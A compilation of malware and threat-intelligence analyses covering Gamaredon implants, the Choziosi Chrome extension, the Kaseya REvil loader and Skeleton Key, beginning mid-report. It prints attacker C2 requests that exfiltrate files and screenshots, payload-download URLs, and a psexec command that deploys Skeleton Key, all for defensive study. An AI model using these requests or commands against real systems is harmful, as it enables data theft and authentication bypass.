12. Execute the exported function "updater" within "MSO1234.win" using rundll32.exe
13. Execute the exported function "EntryPoint" within "MSO1567.dls" using rundll32.exe
It should be noted that "UsrClass.lnk" links to "%WINDIR%\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater" and "SmartArtGraphicsLog.lnk" links to "C:\WINDOWS\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup." These are the locations "winrestore.dll" and "OfficeUpdate.dll" were copied to in steps 3 and 4, respectively.
The "condirs.cmd" script then continues to:
1. Schedule the following tasks:
a. Task name "UpdatesWinRes", invoke "MSO1234.win,updater"
b. Task name "UpdatesWinDLL", invoke "MSO1567.dls,EntryPoint"
c. Task name "UpdatesWinUSBOOK", invoke "MSO5678.usb,StartBackup"
d. Task name "UpdatesWinOBN", invoke "MSO8734.obn,bitDefender"
2. Ensure the directory "%TEMP%\reports\ProfileSkype\" exists
3. Kill processes named "skype.exe"
4. Copy the contents of "%AppData%\Skype" to "%TEMP%\reports\ProfileSkype\"
5. Create subdirectories under "%TEMP%\reports\%COMPUTERNAME%" with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters.
6. Copy all files from all above drive letters with extensions "doc", "docx", "xls", "xlsx", "rtf", "odt," and "txt" into "%TEMP%\reports\%COMPUTERNAME%\%%d\" where %%d is the drive letter.
7. Copy all files with the above extensions from all users' "Desktop," "Documents," and "Downloads" folders to "%TEMP%\reports\%COMPUTERNAME%\Desktop," "%TEMP%\reports\%COMPUTERNAME%\Documents," and "%TEMP%\reports\%COMPUTERNAME%\Downloads," respectively.
When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots, and evade detection are deployed on the system. These individual implants are analyzed in detail in Appendix A.
## Trends Across Implants
While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples. While not every sample distributed by this group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section. Some interesting behaviors from a few of the related samples include:
- Many of the batch scripts include misspellings of common English words. One such example is the filename "cmd." Another example, "domen," is used as a variable name in a batch script which is likely meant to be "domain."
- Almost all batch scripts in all samples ping localhost as a means of sleeping.
- Many of the batch scripts are named "cmd," and some include the string "Trons_ups" and "Treams."
- Many of the batch scripts use the same commands for determining the operating system version.
- Many of the early samples used applications such as wget, UltraVNC, and ChkFlash. These utilities have been replaced with custom tools in the latest samples.
- Samples employing VNC used the same configuration and passwords.
Additionally, the infrastructure used by this group has not changed much in the past three years. Many of the samples reused the same domains for implant communication. Also, many of the custom-developed tools use hardcoded network locations.
Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent. By pivoting on indicators from one of the SFX implants within AutoFocus, additional samples are easily identified by overlaps in these consistencies. Most samples were delivered in a similar fashion: an SFX dropping resources which are staged and loaded with a batch and/or VBS script. The reuse of SSL certificates between IPv4 addresses, as well as the reuse of IPv4 addresses between domain names, is apparent when viewing a large collection of entities involved in this campaign.
Focusing in on one of the newest samples, the reuse of file names as well as SFX content files becomes apparent.
## Final Word
The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed.
Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples' artifacts in the hopes of identifying previously undiscovered malware families, behaviors, and campaigns.
This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage, defenders can identify and build protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in the AutoFocus tag GamaredonGroup.
Palo Alto Networks customers are protected from this threat in the following ways:
- WildFire identifies the malware described in this report as malicious.
- Traps prevent execution of the malware described in this report.
- The C2 domains used by this group are blocked through Threat Prevention.
Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks.
## Appendix A: Custom Implant Analyses
### USBStealer: MSO5678.usb / OfficeUpdate.dll
This file is a USB file stealer which can be guessed by its internal name "USBgrabber.dll." However, the implementation is sloppy, making it a file stealer for any newly connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but does not verify if a USB drive was connected.
The malware creates two mutexes "__Wsnusb73__" and "__Wsnusbtt73__." Then, it creates the following folder in the temp path of the local user: "C:\Users\<Username>\AppData\Local\Temp\reports." This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server "195.62.52.93" one by one via HTTP POST method.
The following request is used, which also includes information about the victim, the file to be transferred, as well as the source drive:
```
POST /post.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----qwerty
Host: 195.62.52.93
Content-Length: ...
Cache-Control: no-cache
------qwerty
Content-Disposition: form-data; name="filename"
\\<filename>
------qwerty
Content-Disposition: form-data; name="filedate"
<month>/<day>/<year> <hour>:<seconds>
------qwerty
Content-Disposition: form-data; name="compname"
<ComputerName>||<Username>||<UserHWGUID>||<C_VolumeSerialNumber>
------qwerty
Content-Disposition: form-data; name="serial"
<SerialNumberOfDriveToStealFrom>
------qwerty
Content-Disposition: form-data; name="w"
"?"
------qwerty
Content-Disposition: form-data; name="filesize"
<FileSize>
------qwerty
Content-Disposition: form-data; name="file"; filename="<AbsoluteFilePathInTemporaryLocation>"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
...File data...
------qwerty--
```
The malware also creates a SQLite database named "asha.dat" in the local user's temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API functions MD5Init(), MD5Update(), and MD5Final() to calculate the hash and store it in the database.
It should be noted that only hashes of files are added to the database that don't have the following extensions:
- DLL
- BIN
- CAB
- EXE
- ISO
### Downloader: MSO1567.dls / LocalSMS.dll
This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as a response which will be executed. The DLL is written in C++ and contains all of the functionality in an export function named "EntryPoint." The file was compiled without any compiler or linker optimizations, thus the big file size and the remaining PDB path string.
At first, the malware retrieves the temp path of the local user ("C:\Users\<Username>\AppData\Local\Temp\"), the computer name (e.g., "WIN-MLABCSUOVJB"), the hardware profile GUID (e.g., "{826ee360-7139-11de-8d20-808e6f6e6263}"), and the volume serial number of C:\ drive (e.g., "1956047236"). Next, it takes the following hardcoded string:
```
http://adobe.update-service[.]net/index.php?comp=
```
To create a URL string with the victim's information for contacting the C2 server:
```
http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236
```
To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error, the string always ends up being the same, namely "frAQBc8Wsa." This string gets concatenated with the retrieved local user's temp path to the following file path:
```
C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa
```
Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the payload and the DLL exits.
### Downloader: MSO8734.obn / MpClients.dll
This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2 server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put into an export function named "bitDefender."
It creates a socket, requests the address of the hardcoded C2 server "win-restore.ru" via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number of C:\ drive, the computer name, and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call:
```
GET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1
Host: win-restore.ru
Connection: close
```
The response will be stored into a memory buffer via recv() and scanned for the string "urltoload={". As the name suggests, the received data contains the actual URL of the payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to store the payload on disk and execute it:
```
C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa
```
### Pteranodon: MSO1234.win / winrestore.dll
Pteranodon is a backdoor which can also capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted. All the functionality of this DLL is put into an export function named "updater."
At first, it retrieves the %APPDATA% folder of the local user to build the following file path:
```
C:\Users\<Username>\AppData\Roaming\Microsoft\desktop.ini
```
Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse movement is detected, the malware runs in an infinite loop checking for mouse movement.
If the file "desktop.ini" does not exist, the malware creates it and writes the following information into it:
```
interval={60} msfolder={10} status={0}
```
This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following commands are available:
- `exec={...}`: This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in the temp folder, calls URLDownloadToFile() and CreateProcess() to run the payload. Then, it waits 30s and terminates the payload.
- `interval={...}`: This command is used to define the interval in seconds between the creation of two or more screenshots.
- `msfolder={...}`: This command defines the number of screenshots to create.
- `command={...}`: This command is used to execute a file present as a string between the curly brackets. The variant with the "c" uses the Windows tool cmd.exe with help of ShellExecute().
- `status={...}`: This command contains the flag which defines if screenshots should be made ("1") or not ("0").
Next, it checks for a mutex named "asassin1dj" to verify if the system is already infected and creates it if this isn't the case.
Next, it creates the following folder, if not already present:
```
C:\Users\<Username>\AppData\Roaming\Microsoft\store
```
Next, according to the configuration data in "desktop.ini," it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and gdiplus API functions. The following file naming scheme for the screenshots is used:
```
<year><month><day>_<hour><minute><seconds>
```
After the last screenshot was created, it uploads all files from the "store" folder to the C2 server "win-restore[.]ru." Then, it deletes all the files present in the folder and starts a new screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script "vvd.php." For this, the following HTTP request is used which contains also data from the victim as well as the JPEG files:
```
POST /vvd.php HTTP/1.1
Accept: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf_$
Accept-Charset: utf-8
User-Agent: asasing
Host: win-restore.ru
Content-Length: <length>
Cache-Control: no-cache
------------987978B0urd3Gf_$
Content-Type: text/html
Content-Disposition: form-data; name="uuid"
WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236
------------987978B0urd3Gf_$
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file0"; filename="<year><month><day>_<hour><minute><seconds>"
Content-Transfer-Encoding: 8bit
...JPEG file...
------------987978B0urd3Gf_$
```
Finally, it checks if any new command information is available from the C2 server and updates the "desktop.ini" file according to it. Based on functionality, compile timestamps, and binary differencing, this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824.
### wmphost.exe
This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don't simulate mouse movement. To detect if it's running inside a sandbox, another file can scan the list of running processes to see if "wmphost.exe" is present or not.
## Appendix B: Indicators of Compromise
### Domain Names
- admin-ru[.]ru
- adobe.update-service[.]net
- apploadapp.webhop[.]me
- brokbridge[.]com
- cat.gotdns[.]ch
- check-update[.]ru
- childrights.in[.]ua
- conhost.myftp[.]org
- docdownload.ddns[.]net
- downloads.email-attachments[.]ru
- downloads.file-attachments[.]ru
- dyndownload.serveirc[.]com
- e.muravej[.]ua
- email-attachments[.]ru
- file-attachments[.]ru
- freefiles.myftp[.]biz
- getmyfile.webhop[.]me
- googlefiles.serveftp[.]com
- grom56.ddns[.]net
- grom90.ddns[.]net
- hrome-update[.]ru
- hrome-updater[.]ru
- loaderskypetm.webhop[.]me
- loadsoulip.serveftp[.]com
- mail.file-attachments[.]ru
- mails.redirectme[.]net
- mars-ru[.]ru
- msrestore[.]ru
- oficialsite.webhop[.]me
- parkingdoma.webhop[.]me
- poligjong.webhop[.]me
- polistar.ddns[.]net
- proxy-spread[.]ru
- rms.admin-ru[.]ru
- samotsvety.com[.]ua
- skypeemocache[.]ru
- skypeupdate[.]ru
- spbpool.ddns[.]net
- spread-service[.]ru
- spread-ss[.]ru
- spread-updates[.]ru
- stor.tainfo.com[.]ua
- tortilla.sytes[.]net
- ukrnet.serveftp[.]com
- ukrway.galaktion[.]ru
- umachka[.]ua
- update-service[.]net
- updatesp.ddns[.]net
- updateviber.sytes[.]net
- webclidie.webhop[.]me
- win-restore[.]ru
- winloaded.sytes[.]net
- winupdateloader[.]ru
- www.file-attachments[.]ru
- www.win-restore[.]ru
- yfperoliz.webhop[.]me
### URLs
- http://childrights.in[.]ua/public/manager/img/scrdll.ini
- http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe
- http://umachka[.]ua/screen/dk.tmp
- http://umachka[.]ua/screen/screen.tmp
- http://viberload.ddns[.]net/viber.nls
### Hashes
**Samples using custom developed tools:**
- 002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705
- 08e69f21c3c60a4a9b78f580c3a55d4cfb74729705b5b7d01c1aecfd58fc49e6
- 0c47cf984afe87a14d0d4c94557864ed19b4cb52783e49ce96ebf9c2f8b52d27
- 0dc1010c3d3766158e2347d10fc78d9223c6e0e3a44aa8a76622aeff7d429ab9
- 0f745512940e0efd8f09c6d862571cba2b98fac9a9f7cf30dedcc08ace43a494
- 145dab86a43835bb37734c16756d6d64d8e5ac6b87c491c57385e27b564136b8
- 222e85e6d07bdc3a2141cdd582d3f2ed4b1ce5285731cc3f54e6202a13737f8d
- 2f2b26f2f7d164ea1f529edbc3cb8a1063b39121dad4dd19d8ee4bbbaf25ed37
- 3242183b1f0176a2e3cfb6bfef96b9d55c5a59ea9614dbde4ef89979336b5a5d
- 3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9
- 37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac
- 3e5b1116b2dfd99652a001968a05fc962974931a0596153ab0dea8e4a9982f89
- 400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501
- 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824
- 5b22ace98b57ed19d815c49983c96a3c6ff0b2701e8167d4422c6990982abcf9
- 5ec8b7ca4461720bd69fb49b3f6cae637d8ac3bbd675da938bc5a84e9b73b395
- 840b3d4cc95dbf311f792a9f50137056deb66bfdbb55eb9f54ff381a0df65656
- 90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd
- 97ebd7bfad63b36b4572132f6ece359ff9991f269048c0b145411699bfe3dc34
- 9a1fd88970da3809f45cef00360d1e54ea11a70035c277c130404a67371e142d
- 9cb64d3242d2b591bd2ff13b1aadef2e6b4bf9147f4a0926613b7c9343feb312
- a46508ec9e48c256261b2d1914532a36ac7da093253320135d77581051751b75
- a7e27ff0695a4bdf58c584f48664acd3a385ccebf3a542fdd6d7383f414aa83a
- a804beddd22bb76ea207a9607ed5c888f2f640cbd9ed9a32942fcd0b8a25c4d5
- ae5ab2e887a9b46ea7819b7ebbb8163028e66882c97e75b0698dc3a69a69d7da
- b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875
- b9434e5a14159c49af2d1a5a11d570f195797d6b17aa560c3dde4a5b3486bf2a
- be2be662cc821a924d5641422dd1116e99188c6923da092ca3f0f8f862bd2d2d
- d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726
- d1ba365e93ff0a4f3a2cb1d657568e583e3fbd7dbb1c2c52e28f16480324e3bb
- ddfc6bb4819527b2424d6e1a84f04b67adad79401e39efbffba5b7d727e732f0
- df434f54802a6814628f30cae335c302bae7085c4e8314d71a41a47d9c410c39
- e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4
- f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126
**Samples using bundled commodity tools:**
- 026be8a873560f1496c6961f6e36c312bdda01beacb17c4b744f35ee1923d061
- 03c943f5cba11b09b9c3afa0705d4a027e5a9d81b299711740cc5aedfe4b4aa1
- 03e5e99cc8280de4663c4b65bfd26782d4975258808a63a4b20bc068008df7f5
- 059e40ba91b2b2d827c200476fcbd0fad0d43ab198d0c206c996777d27e6de65
- 0669e61e51cf43daa431d52b5461c90bdce1b1bee03b087e4406c30264dcb9a4
- 068b9a9194efacc16cf142814e79b7041b6ab3d671a95bb508dbd30061c324aa
- 0b4a90b823a581311c4acb59f35e32f81f70ca16a2538f54f4dbe03db93350df
- 0b5316d723d1ebbec9aba0c9ff6761050305d644c3eeb5291b4e2c4de9e5fa15
- 0b8d59312699739b6e6cb7aeb0f22a2eaebbb0fd898a97ef9b83e8d8e9ce67a0
- 0dd13d2d0edbcf9d1825c2bfc165876ada2e4d04e2981a0003cb6503fad2287b
- 0ddb7867e31f3f30cd1cfe74393f8ac5bbdc61538278de9219a49345f0d3af7f
- 13fed3accac4f38f28e606b110a3b7924d9c7a1a911f8c0613d0bb791e715267 |
# QR Codes on Twitter Deliver Malicious Chrome Extension
ISO file downloads are advertised via QR codes on Twitter and on supposedly free gaming sites, but they don't contain what they promise.
## QR Codes on Twitter and Malvertising
The loader for the malicious Chrome extension was initially analysed by @x3ph1 who dubbed it ChromeLoader. To avoid misunderstandings with legitimate Chrome components, we hereby refer to it as Choziosi loader. The analysis on the loader is detailed, but x3ph1 does not describe the Chrome extension Choziosi, which got me intrigued.
Twitter user @th3_protoCOL found QR codes that circulate on Twitter and advertise pirated software to lure people into downloading an ISO. Reddit users also complain about malicious ISO files on websites that provide Steam games. This tweet by @StopMalvertisin says the ISOs are downloaded via malicious advertisements.
The ISO file has two main components. The `_meta.txt` contains a PowerShell script, which is encrypted with a substitution cipher. The `downloader.exe` is a .NET assembly. It has a big dictionary with the substitution alphabet to decrypt the PowerShell script in `_meta.txt`. It adds the PowerShell commands as a scheduled task named ChromeTask, which runs every ten minutes.
Other variants of the same malware use dictionaries to combine words into a task name. The `downloader.exe` also shows an error message to the user, claiming that the operating system is incompatible with the program.
## Malicious Chrome Extension
The PowerShell script downloads the Chrome extension `archive.zip` from a malware server and installs it. Due to the scheduled task, this continues to happen every ten minutes. This explains why some Reddit users complain that Chrome closes itself all the time. This is a mishap of the malware developer because the annoyance factor will make it more likely that affected users clean their system as soon as possible.
The Chrome extension itself has not been analysed yet, possibly because of its hefty obfuscation. While trying to debug the extension within Chrome, I already noticed that the extension settings `chrome://extensions` are redirected to the general settings `chrome://settings`. This prevents users from uninstalling the extension within Chrome.
The extension consists of four files. The application icon is called `properties.png` and shows a gearwheel. The `manifest.json` is part of every Chrome extension and has some metadata, e.g., about the icon location, extension name, and permissions. The `config.js` contains the name of the extension, version number, C2 server, and some form of id named `_dd` which is always sent as a parameter to the server.
The main script is the `background.js`. It features control flow obfuscation via switch-case statement hopping which cannot be deobfuscated automatically by currently available tools. JavaScript Deobfuscator is able to perform initial cleanup, but the code remains unreadable. After identifying `v0MM.T7` and `v0MM.o7` as the anchor points for function string decoding, I replaced the calls to these functions with their return value. A second pass to JavaScript Deobfuscator and manual cleanup of now unneeded functions leads to the final deobfuscated code.
The extension's main functionality is to serve advertisements and hijack search requests to Google, Yahoo, and Bing. Every three hours, analytics are sent to the C2. The extension requests advertisements from the C2 server every 30 minutes.
## Conclusion
When I started to work on this, I had admittedly other expectations on the malware's functionality. For now, the only purpose is getting revenue via unsolicited advertisements and search engine hijacking. But loaders often do not stick to one payload in the long run, and malware authors improve their projects over time. We will likely see more of this threat in the future.
## File Hashes
All mentioned files, including the decoded and deobfuscated files, are available for download on MalwareBazaar.
| Description | SHA256 |
|-------------------|-------------------------------------------------------------------------------------------|
| Chrome extension | 6b1db4f891aa9033b615978a3fcfef02f1904f4eba984ba756ff5cd755d6f0b4 |
| download.exe, .NET file | 2d4454d610ae48bf9ffbb7bafcf80140a286898a7ffda39113da1820575a892f |
| ISO | 8840f385340fad9dd452e243ad1a57fb44acfd6764d4bce98a936e14a7d0bfa6 |
| Decrypted PowerShell script | 2e958f481828ce7c59a3beab2ddac5561347e6f9bc25e6716c4524b845e83938 |
| Deobfuscated background.js | 1c0254f0f811aadd6f1dad1cc5926f6b32fa2fb0866c35bf6a9f3dfad25fd9ca |
Karsten Hahn
Malware Analyst |
# Coming Soon…
In the month that APT10 rocked the world, we believe it is finally time to get to the truth behind “Advanced Persistent Threats” – large-scale Cyber attacks stealing intellectual property from Western companies. APT10 targets Managed Service Provider (MSP) networks.
We are busy investigating the largest APTs and will soon reveal the truth behind some of these intrusions. Meanwhile, you can read about APT10’s recent activity in PwC’s report, and their historical tools and techniques in FireEye’s report.
Check back in late April for more… |
# Real-Time Prevention of the Kaseya VSA Supply Chain REvil Ransomware Attack
On July 2, 2021, Morphisec Keep, our Cloud Workload Protection Platform, successfully identified and prevented a REvil Ransomware infection within some of our customer domains. This attack was automatically blocked in real time due to Morphisec's proactive protection mechanism, which resulted in no harm to the customer. Attacks like this demonstrate the critical nature of a strong prevention strategy for servers. Any such strategy needs to acknowledge that supply chain attacks such as this one can often bypass the most up-to-date network, identity, and antivirus controls. The following is a summary of our findings after preventing this attack in several customer environments.
## Technical details
### Initial Findings
Most of the attacked endpoints were Windows servers. The Morphisec Keep product immediately and automatically identified the process chain that led to the prevented ransomware execution. This attack is particularly evasive because all the attack chain components are signed with digital certificates, starting from the Kaseya process, continuing with a vulnerable Microsoft Defender process, and ending with the side-loaded signed ransomware.
The initial stage begins with `AgentMon.exe` – a legitimate process for the Kaseya Virtual Server Administrator Agent. Then this process executes suspicious Windows batch commands via `cmd.exe`. Those batch commands are followed by the execution of a malicious file named `agent.exe`. The following process then executes a legitimate signed Windows Defender process (`MsMpEng.exe`) that was dropped in the `C:\Windows\` directory. This Windows Defender application file is known for its side-loading vulnerability that has since been patched. Once executed, it loads a malicious DLL file named `mpsvc.dll` that was also dropped within the Windows directory. This `mpsvc.dll` DLL is the actual functionality of the ransomware. Morphisec automatically blocked its execution and prevented the servers from being infected.
### The Batch Commands
These commands are executed after the `agent.crt` file is dropped by a hijacked update routine called 'Kaseya VSA Agent Hot-fix’. The first part sleeps for about 1.5 hours by utilizing the ping command to localhost. Then, it executes a PowerShell command that first disables Microsoft Defender security features, such as Real-Time Protection, Intrusion Prevention System, Script Scanning, Automatic Sample Submission, Controlled Folder Access, and network protection.
Next, it copies `certutil.exe`, a legitimate executable under the name `cert.exe`, and adds a random value to the end of the executable – this breaks the detection of `certutil` utilization by third-party vendors. It will later use this executable to decode `agent.crt`, delete it, and execute the decoded payload: `agent.exe`.
### The Loader (agent.exe)
The loader is signed with a certificate named “PB03 TRANSPORT LTD,” a basic loader without any obfuscations. The loader contains two resources:
- **‘SOFTIS’**: Contains `MsMpEng.exe`, the legitimate executable
- **‘MODLIS’**: Contains `mpsvc.dll`, the malicious payload
Once the resources are loaded into memory, the loader writes these files to `C:\Windows` and executes the `MsMpEng.exe` file (as System).
### Bug in Production?
As others have written, there are two different hashes for `mpsvc.dll` that represent the same payload. The only difference is that one of them is padded with nulls at the end. The instance without the nulls is the DLL that was extracted from the ‘MODLIS’ resource. The instance with the null padding is the one saved within the Windows directory. While the unpadded instance is digitally signed, the padding breaks the file digital signature in the other instance, leading to a potential successful detection by some vigilant vendors.
The actual size of the DLL within the resource is 807,816 bytes while the size of bytes for writing this file within the loader is 808,328 bytes. This difference results in the null padding that breaks the digital signature.
## Conclusion
Attacks like this demonstrate the importance of real-time prevention that does not rely on signatures by leveraging zero-trust at the endpoint. As shown, all components of this attack are signed. This attacker is adept at abusing the implicit trust given to signed processes so their attacks can progress in target environments. Furthermore, detection-centric technology, like EDR, cannot be relied on when malicious activity is present on servers. The attacker is simply too close to their final goal for it to make sense to rely on reactive remediation through human intervention.
Morphisec Keep is built to deal with evasive threats like this automatically, in real time, and without prior knowledge of the attack. Through Morphisec Keep, you can extend your zero-trust strategy beyond identity and the network so that attacks like this one, where the supply chain is compromised, can still be prevented when they can land on the endpoint and make their way into the process memory.
## IOCs
- `agent.exe` (REvil Loader): `d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e`
- `mpsvc.dll` saved on disk (REvil payload): `8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd`
- `mpsvc.dll` within `agent.exe` resource (REvil payload): `e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2` |
# Skeleton Key Malware Analysis
**Author:** Dell SecureWorks Counter Threat Unit™ Threat Intelligence
**Date:** 12 January 2015
## Summary
Dell SecureWorks Counter Threat Unit (CTU) researchers discovered malware that bypasses authentication on Active Directory (AD) systems implementing single-factor (password only) authentication. Threat actors can use a password of their choosing to authenticate as any user. This malware was named "Skeleton Key."
CTU researchers discovered Skeleton Key on a client network that used single-factor authentication for access to webmail and VPN, giving the threat actor unfettered access to remote access services. Skeleton Key is deployed as an in-memory patch on a victim's AD domain controllers to allow the threat actor to authenticate as any user, while legitimate users can continue to authenticate as normal. Skeleton Key's authentication bypass also allows threat actors with physical access to log in and unlock systems that authenticate users against the compromised AD domain controllers.
The only known Skeleton Key samples as of this publication lack persistence and must be redeployed when a domain controller is restarted. CTU researchers suspect that threat actors can only identify a restart based on their inability to successfully authenticate using the bypass, as no other malware was detected on the domain controllers. Between eight hours and eight days of a restart, threat actors used other remote access malware already deployed on the victim's network to redeploy Skeleton Key on the domain controllers.
Skeleton Key requires domain administrator credentials for deployment. CTU researchers have observed threat actors deploying Skeleton Key using credentials stolen from critical servers, administrators' workstations, and the targeted domain controllers.
## Analysis
CTU researchers initially observed a Skeleton Key sample named `ole64.dll` on a compromised network.
| Attribute | Value or description |
|------------------|-------------------------------------------------------|
| Filename | ole64.dll |
| MD5 | bf45086e6334f647fda33576e2a05826 |
| SHA1 | 5083b17ccc50dd0557dfc544f84e2ab55d6acd92 |
| Compile time | 2014-02-19 09:31:29 |
| Deployed | As required (typically downloaded using malware and then deleted after use) |
| File size | 49664 bytes |
| Sections | .text, .rdata, .data, .pdata, .rsrc, .reloc |
| Exports | ii (installs the patch), uu (uninstalls the patch), DllEntryPoint (default DLL entry point) |
When investigating `ole64.dll`, CTU researchers discovered an older variant named `msuta64.dll` on a "jump host" in the victim's network. The jump host is any system previously compromised by the threat actors' remote access malware. This variant includes additional debug statements, which allow the Skeleton Key developer to observe the memory addresses involved in the patching process.
| Attribute | Value or description |
|------------------|-------------------------------------------------------|
| Filename | msuta64.dll |
| MD5 | 66da7ed621149975f6e643b4f9886cfd |
| SHA1 | ad61e8daeeba43e442514b177a1b41ad4b7c6727 |
| Compile time | 2012-09-20 08:07:12 |
| Deployed | 2013-09-29 07:58:16 |
| File size | 50688 bytes |
| Sections | .text, .rdata, .data, .pdata, .rsrc, .reloc |
| Exports | i (installs the patch), u (uninstalls the patch), DllEntryPoint (default DLL entry point) |
The threat actors used the following process to deploy Skeleton Key as a 64-bit DLL file:
1. Upload the Skeleton Key DLL file to a staging directory on a jump host in the victim's network. CTU researchers have observed three filenames associated with the Skeleton Key DLL file: `ole64.dll`, `ole.dll`, and `msuta64.dll`. Windows systems include a legitimate `ole32.dll` file, but it is not related to this malware.
2. Attempt to access the administrative shares on the domain controllers using a list of stolen domain administrator credentials.
3. If the stolen credentials are no longer valid, use password theft tools to extract clear text domain administrator passwords from one of the following locations, which suggest familiarity with the victim's environment:
- Memory of another accessible server on the victim's network
- Domain administrators' workstations
- Targeted domain controllers
4. Use valid domain administrator credentials to copy the Skeleton Key DLL to `C:\WINDOWS\system32\` on the target domain controllers.
5. Use the PsExec utility to run the Skeleton Key DLL remotely on the target domain controllers using the `rundll32` command. The threat actor's chosen password is formatted as an NTLM password hash rather than provided in clear text. After Skeleton Key is deployed, the threat actor can authenticate as any user using the threat actor's configured NTLM password hash:
```
psexec -accepteula \\%TARGET-DC% rundll32 <DLL filename> ii <NTLM password hash>
```
6. Delete the Skeleton Key DLL file from `C:\WINDOWS\system32\` on the targeted domain controllers.
7. Delete the Skeleton Key DLL file from the staging directory on the jump host.
8. Test for successful Skeleton Key deployment using "net use" commands with an AD account and the password that corresponds to the configured NTLM hash.
CTU researchers have observed a pattern for the injected password that suggests that the threat group has deployed Skeleton Key in multiple organizations.
The use of PsExec can be detected within a Windows environment by alerting on the Windows events generated by the utility. The following Event IDs observed on the targeted domain controllers record the PsExec tool installing its service, starting the service, and stopping the service. These events are created every time PsExec is used, so additional analysis of the events is required to determine if they are malicious or legitimate:
- Unexpected PSEXESVC service install events (event ID 7045) on AD domain controllers:
- Log Name: System
- Source: Service Control Manager
- Summary: A service was installed in the system.
- Service File Name: `%SystemRoot%\PSEXESVC.exe`
- Unexpected PSEXESVC service start/stop events (event ID 7036) on AD domain controllers:
- Log Name: System
- Source: Service Control Manager
- Summary:
- "The PSEXESVC service entered the running state."
- "The PSEXESVC service entered the stopped state."
When run, Skeleton Key performs the following tasks:
1. Check for one of the following compatible 64-bit Windows versions. The malware is not compatible with 32-bit Windows versions or with Windows Server versions beginning with Windows Server 2012 (6.2):
- 6.1 (Windows 2008 R2)
- 6.0 (Windows Server 2008)
- 5.2 (Windows 2003 R2)
2. Use the SeDebugPrivilege function to acquire the necessary administrator privileges to write to the Local Security Authority Subsystem Service (LSASS) process. This process controls security functions for the AD domain, including user account authentication.
3. Enumerate available processes to acquire a handle to the LSASS process.
4. Obtain addresses for the authentication-related functions that will be patched:
- CDLocateCSystem — located in cryptdll.dll
- SamIRetrieveMultiplePrimaryCredentials — located in samsrv.dll
- SamIRetrievePrimaryCredentials — located in samsrv.dll
